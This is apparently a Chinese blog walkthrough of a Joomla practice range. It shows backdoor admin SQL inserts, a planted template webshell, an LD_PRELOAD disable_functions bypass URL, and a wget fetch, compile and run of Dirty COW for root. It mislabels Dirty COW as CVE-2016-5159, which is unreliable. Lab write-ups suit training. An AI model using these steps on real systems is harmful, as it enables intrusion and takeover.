Joomla 靶场渗透

靶场地址:10.51.34.xxx

Joomla版本:3.9.12

工具:Joomscan(https://github.com/rezasp/joomscan.git)、蚁剑、

bypass_disablefunc_via_LD_PRELOAD-master(https://github.91chi.fun/https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/archive/refs/heads/master.zip)

1、用joomscan靶场进行探测(perl joomscan.pl -u http://IP),探测到joomla版本、后台管理页面入口以及配置文件

 2、根据版本号搜索查找是否有可直接利用的漏洞,没有结果。查看配置文件,发现了数据库是mysql并且用户名和密码也在其中:

3、使用该账户尝试连接数据库,能够成功连接:

 4、根据配置文件信息和数据库中的信息发现am2zu_users表应该是管理员的账户表但是被加密了,无法直接登录,尝试在am2zu_users直接插入一个用户,但是使用插入的账户还是不能登录,在官网(如何恢复或重置管理员密码? - Joomla! Documentation)发现了正确的插入语句【两句分开执行,不然登录还是有问题】(

INSERT INTO `jos31_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin3',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

 

 

 

 

 

 5、使用插入的账号(admin3/secret)成功登录后台:

6、找了在Extension -> Templates下可以上传webshell,也可以在模板中插入木马,这里再Beez3模板中的index.php中直接插入一句话木马,修改后点击save保存:

 7、使用蚁剑连接木马,成功连接:

 

 

 

 

8、在终端中执行命令时发现返回ret=127,经过搜索后知道了这是使用了disable_functions:

 9、使用bypass_disablefunc_via_LD_PRELOAD进行绕过,虽然无法执行命令,但是我们可以使用蚁剑上传文件,根据连接返回的x86_64选择对应的文件进行上传(bypass_disablefunc_x64.so和bypass_disablefunc.php):

 

10、根据路径构造对应的连接【这里是上传到/var/www/html/templates/beez3/】(http://10.51.34.xxx/templates/beez3/bypass_disablefunc.php?cmd=ls&outpath=/tmp/xx&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so),命令成功执行:


 

后续:

1、看到其他大佬的帖子,发现在/tmp/mysql目录下有一个test.txt文件,里面是连接ssh的一个账号和密码

 

2、使用工具尝试连接,成功连上:

 

 

 

 3、但是权限是普通用户权限,系统内核版本较低使用脏牛(CVE-2016-5159)进行提权,下载exp:wget --no-cookie --no-check-certificate https://gitcode.net/mirrors/FireFart/dirtycow/-/raw/master/dirty.c,并编译gcc -pthread dirty.c -o dirty -lcrypt:

 

 4、执行脚本./dirty 密码,报错了:

 

 5、删除/tmp/passwd.bak,再次执行,利用成功:

 

 

6、查看创建用户的权限为root,提权成功:

 

posted @ 2022-04-26 17:18  walkwater  阅读(1240)  评论(0编辑  收藏  举报